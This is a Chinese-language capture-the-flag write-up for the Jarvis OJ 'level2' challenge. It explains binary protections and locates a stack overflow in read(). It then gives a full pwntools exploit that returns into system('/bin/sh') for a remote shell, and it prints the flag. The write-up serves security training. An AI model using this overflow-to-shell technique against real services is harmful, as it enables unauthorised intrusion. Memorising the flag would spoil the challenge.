地址:nc pwn2.jarvisoj.com 9878
把下载好的文件放到虚拟机中
用checksec看一下保护
【1】RELRO:RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表
【2】Stack:如果栈中开启Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过
【3】NX:NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,以前的经常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过
【4】PIE:PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,而如果没有开PIE的话那么No PIE (0x400000),括号内的数据就是程序的基地址
【5】FORTIFY:FORTIFY_SOURCE机制对格式化字符串有两个限制(1)包含%n的格式化字符串不能位于程序内存中的可写地址。(2)当使用位置参数时,必须使用范围内的所有参数。所以如果要使用%7$x,你必须同时使用1,2,3,4,5和6。
32位程序 关了栈说明可以用栈溢出 栈中数据没有执行权限
拖到IDA里反编译一下
F5查看伪代码
跟进vulnerable_function()
溢出点在read函数
Shift+F12查看字符串
我们发现.data
中有/bin/sh
所以直接通过system调用就可以
构造一个system("/bin/sh")的伪栈帧 通过控制vulnerable_function()返回到该伪栈帧 执行system("/bin/sh")来get shell
因为我们的目的只是为了通过system("/bin/sh")来get shell
所以伪栈帧中system的返回地址可以随便指定
下面是payload
# -*- coding: utf-8 -*-
from pwn import *
elf = ELF('./level2')
sys_addr = elf.symbols["system"] #system函数地址
bin_addr = elf.search("/bin/sh").next() #/bin/sh字符串地址
payload = 'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_addr)
#0xdeadbeef为system("/bin/sh")执行后的返回地址,可以随便指定
io = remote('pwn2.jarvisoj.com', 9878)
io.recvline()
io.sendline(payload)
io.interactive()
io.close()
没有PIE保护的程序,很多函数地址可以直接从IDA中复制过来,在EXP中直接赋值为0x8048···,但是为了增强普适性,均使用symbols函数获得
CTF{1759d0cbd854c54ffa886cd9df3a3d52}